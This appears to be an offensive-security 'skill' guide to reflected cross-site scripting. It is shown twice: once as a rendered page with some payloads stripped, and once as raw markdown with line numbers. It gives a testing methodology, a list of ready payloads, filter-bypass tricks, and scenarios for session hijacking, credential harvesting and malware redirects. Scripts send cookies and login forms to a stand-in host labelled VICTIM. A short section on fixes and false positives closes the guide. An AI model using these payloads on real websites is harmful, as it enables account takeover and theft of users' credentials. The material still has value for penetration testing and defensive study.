Reflected Cross-Site Scripting (XSS)
What Is Broken and Why
Reflected XSS occurs when an application takes user-supplied data (URL parameters, form fields, HTTP headers) and includes it in the HTTP response without proper output encoding. The browser interprets the injected content as executable script, running in the context of the vulnerable origin. Because the payload travels in the request, the attacker must socially-engineer the victim into clicking a crafted link. The root cause is missing context-aware output encoding.
Key Signals
- Input parameter value appears verbatim in the HTML response source
- Special characters
<, >, ", ', & are not HTML-encoded in responses
- JavaScript context: input reflected inside
<script> blocks or event handlers without escaping ', ", \
- Error messages or page titles echoing raw query strings
- HTTP headers (User-Agent, Referer) reflected in error pages
Methodology
- Map all input vectors: URL parameters, POST body fields, hidden form fields, HTTP headers, cookie values.
- Submit a canary string (e.g.,
xss12345) and search the response for its unencoded presence.
- Identify the HTML context of the reflection: tag body, attribute, script block, URL, CSS.
- Craft a context-appropriate payload:
- Tag body:
<script>alert(1)</script>
- Attribute:
"> or ">
- Script block:
';alert(1)//
- URL context:
javascript:alert(1)
- Test filter bypass variants if initial payloads are blocked.
- Verify execution in a real browser (not just source inspection).
- Escalate to cookie theft, credential harvesting, or redirect payloads.
Payloads & Tools
# Basic tag-body injection
TARGET/page?user=<script>alert(1)</script>
# Attribute context break-out
TARGET/page?user="><script>alert(document.cookie)</script>
TARGET/page?user=" autofocus="
# Script block context
TARGET/page?user=';alert(document.cookie)//
# Cookie exfiltration
TARGET/page?user=<script>document.location='http://VICTIM/steal?c='+document.cookie</script>
# Link manipulation via onload
TARGET/page?user=<script>window.onload=function(){var a=document.getElementsByTagName('a');a[0].href='http://VICTIM/malicious';}</script>
# Filter bypass: case variation
TARGET/page?user="><ScRiPt>alert(1)</ScRiPt>
# Filter bypass: space in tag
TARGET/page?user="><script >alert(1)</script >
# Filter bypass: URL encoding
TARGET/page?user=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E
# Filter bypass: double-encoded
TARGET/page?user=%2522%253E%253Cscript%253Ealert(1)%253C%252Fscript%253E
# Filter bypass: non-recursive filter
TARGET/page?user=<scr<script>ipt>alert(1)</script>
# HTTP Parameter Pollution
TARGET/page?param=<script¶m=>alert(1)</¶m=script>
# Burp Suite Intruder with XSS payloads wordlist
# Load: Intruder -> Payloads -> Load fuzz-XSS.txt from SecLists
Bypass Techniques
- Case variation:
<ScRiPt>, <SCRIPT>
- Space insertion in tags:
<script >, < script>
- URL encoding:
%3C, %3E, %22
- Double URL encoding:
%253C
- HTML entity encoding in attribute context:
<, <, <
- Null bytes:
<%00script>
- Tab/newline insertion:
<scr\tipt>, <scr\nipt>
- Alternative event handlers:
onerror, onload, onmouseover, onfocus, autofocus
- SVG vectors:
<svg>
- IMG fallback:
<img src=x>
- Regex bypass for script-src filters:
<SCRIPT%20a=">"%20SRC="http://VICTIM/xss.js"></SCRIPT>
- HTTP Parameter Pollution to split tag across params
Exploitation Scenarios
Scenario 1 — Session Hijacking
Setup: Search results page reflects q= parameter in page title without encoding.
Trigger: Attacker sends victim link: TARGET/search?q=<script>new Image().src='http://VICTIM/c?x='+document.cookie</script>
Impact: Session cookie transmitted to attacker; full account takeover.
Scenario 2 — Credential Harvesting via Page Modification
Setup: Login page redirect parameter reflected in a JavaScript string.
Trigger: TARGET/login?redirect=';document.forms[0].action='http://VICTIM/capture';// — form submission redirected to attacker.
Impact: Plaintext credentials exfiltrated on login.
Scenario 3 — Malware Distribution
Setup: Error page reflects filename parameter in body without encoding.
Trigger: TARGET/download?file=<script>window.onload=function(){var a=document.getElementsByTagName('a');a[0].href='http://VICTIM/malware.exe';}</script>
Impact: Victim downloads malware when clicking any link on the page.
False Positives
- HTML encoding happening after source inspection — verify payload executes in browser, not just that it appears in source
- Framework escaping that happens at render time not visible in raw HTTP response
- CSP blocking execution even when payload is reflected
- Canary string present in HTML comments (no execution context)
Fix Patterns
- Context-aware output encoding: HTML-encode in tag body, attribute-encode in attributes, JS-encode in script blocks
- Content Security Policy header:
Content-Security-Policy: default-src 'self'; script-src 'self'
X-XSS-Protection: 1; mode=block (legacy browsers)
- Avoid reflecting untrusted input into script blocks or event handlers
- Use trusted templating engines with auto-escaping enabled by default
Related Skills
When the injection point persists server-side, escalate to [[xss-stored]] for higher-impact payloads that don't require victim interaction. If the sink is in JavaScript code reading from location.hash or document.referrer, treat as [[dom-xss]] and look for dangerous sinks like innerHTML or eval. Reflected XSS can be used to bypass SameSite and execute [[csrf]] on the same origin, since the browser delivers both the XSS and the CSRF forged request from the target origin itself. Filter bypass encoding tricks used here also apply to [[cmd-injection]] when both share the same input sanitization layer.
1---2name: xss-reflected3description: Reflected XSS occurs when user-supplied input is echoed in an HTTP response without sanitization, allowing script execution in the victim's browser. Detect via injecting `<script>alert(1)</script>`, event handlers like `onfocus`, HTML entity bypass, and encoding variants. Tools: Burp Suite, OWASP ZAP, PHP Charset Encoder (PCE), Hackvertor, XSS-Proxy, ratproxy.4license: MIT5---67# Reflected Cross-Site Scripting (XSS)89## What Is Broken and Why10Reflected XSS occurs when an application takes user-supplied data (URL parameters, form fields, HTTP headers) and includes it in the HTTP response without proper output encoding. The browser interprets the injected content as executable script, running in the context of the vulnerable origin. Because the payload travels in the request, the attacker must socially-engineer the victim into clicking a crafted link. The root cause is missing context-aware output encoding.1112## Key Signals13- Input parameter value appears verbatim in the HTML response source14- Special characters `<`, `>`, `"`, `'`, `&` are not HTML-encoded in responses15- JavaScript context: input reflected inside `<script>` blocks or event handlers without escaping `'`, `"`, `\`16- Error messages or page titles echoing raw query strings17- HTTP headers (User-Agent, Referer) reflected in error pages1819## Methodology201. Map all input vectors: URL parameters, POST body fields, hidden form fields, HTTP headers, cookie values.212. Submit a canary string (e.g., `xss12345`) and search the response for its unencoded presence.223. Identify the HTML context of the reflection: tag body, attribute, script block, URL, CSS.234. Craft a context-appropriate payload:24 - Tag body: `<script>alert(1)</script>`25 - Attribute: `" onfocus="alert(1)` or `" onmouseover="alert(1)`26 - Script block: `';alert(1)//`27 - URL context: `javascript:alert(1)`285. Test filter bypass variants if initial payloads are blocked.296. Verify execution in a real browser (not just source inspection).307. Escalate to cookie theft, credential harvesting, or redirect payloads.3132## Payloads & Tools33```34# Basic tag-body injection35TARGET/page?user=<script>alert(1)</script>3637# Attribute context break-out38TARGET/page?user="><script>alert(document.cookie)</script>39TARGET/page?user=" onfocus="alert(1)" autofocus="4041# Script block context42TARGET/page?user=';alert(document.cookie)//4344# Cookie exfiltration45TARGET/page?user=<script>document.location='http://VICTIM/steal?c='+document.cookie</script>4647# Link manipulation via onload48TARGET/page?user=<script>window.onload=function(){var a=document.getElementsByTagName('a');a[0].href='http://VICTIM/malicious';}</script>4950# Filter bypass: case variation51TARGET/page?user="><ScRiPt>alert(1)</ScRiPt>5253# Filter bypass: space in tag54TARGET/page?user="><script >alert(1)</script >5556# Filter bypass: URL encoding57TARGET/page?user=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E5859# Filter bypass: double-encoded60TARGET/page?user=%2522%253E%253Cscript%253Ealert(1)%253C%252Fscript%253E6162# Filter bypass: non-recursive filter63TARGET/page?user=<scr<script>ipt>alert(1)</script>6465# HTTP Parameter Pollution66TARGET/page?param=<script¶m=>alert(1)</¶m=script>6768# Burp Suite Intruder with XSS payloads wordlist69# Load: Intruder -> Payloads -> Load fuzz-XSS.txt from SecLists70```7172## Bypass Techniques73- Case variation: `<ScRiPt>`, `<SCRIPT>`74- Space insertion in tags: `<script >`, `< script>`75- URL encoding: `%3C`, `%3E`, `%22`76- Double URL encoding: `%253C`77- HTML entity encoding in attribute context: `<`, `<`, `<`78- Null bytes: `<%00script>`79- Tab/newline insertion: `<scr\tipt>`, `<scr\nipt>`80- Alternative event handlers: `onerror`, `onload`, `onmouseover`, `onfocus`, `autofocus`81- SVG vectors: `<svg onload=alert(1)>`82- IMG fallback: `<img src=x onerror=alert(1)>`83- Regex bypass for script-src filters: `<SCRIPT%20a=">"%20SRC="http://VICTIM/xss.js"></SCRIPT>`84- HTTP Parameter Pollution to split tag across params8586## Exploitation Scenarios87**Scenario 1 — Session Hijacking**88Setup: Search results page reflects `q=` parameter in page title without encoding.89Trigger: Attacker sends victim link: `TARGET/search?q=<script>new Image().src='http://VICTIM/c?x='+document.cookie</script>`90Impact: Session cookie transmitted to attacker; full account takeover.9192**Scenario 2 — Credential Harvesting via Page Modification**93Setup: Login page `redirect` parameter reflected in a JavaScript string.94Trigger: `TARGET/login?redirect=';document.forms[0].action='http://VICTIM/capture';//` — form submission redirected to attacker.95Impact: Plaintext credentials exfiltrated on login.9697**Scenario 3 — Malware Distribution**98Setup: Error page reflects filename parameter in body without encoding.99Trigger: `TARGET/download?file=<script>window.onload=function(){var a=document.getElementsByTagName('a');a[0].href='http://VICTIM/malware.exe';}</script>`100Impact: Victim downloads malware when clicking any link on the page.101102## False Positives103- HTML encoding happening after source inspection — verify payload executes in browser, not just that it appears in source104- Framework escaping that happens at render time not visible in raw HTTP response105- CSP blocking execution even when payload is reflected106- Canary string present in HTML comments (no execution context)107108## Fix Patterns109- Context-aware output encoding: HTML-encode in tag body, attribute-encode in attributes, JS-encode in script blocks110- Content Security Policy header: `Content-Security-Policy: default-src 'self'; script-src 'self'`111- `X-XSS-Protection: 1; mode=block` (legacy browsers)112- Avoid reflecting untrusted input into script blocks or event handlers113- Use trusted templating engines with auto-escaping enabled by default114115## Related Skills116117When the injection point persists server-side, escalate to [[xss-stored]] for higher-impact payloads that don't require victim interaction. If the sink is in JavaScript code reading from `location.hash` or `document.referrer`, treat as [[dom-xss]] and look for dangerous sinks like `innerHTML` or `eval`. Reflected XSS can be used to bypass SameSite and execute [[csrf]] on the same origin, since the browser delivers both the XSS and the CSRF forged request from the target origin itself. Filter bypass encoding tricks used here also apply to [[cmd-injection]] when both share the same input sanitization layer.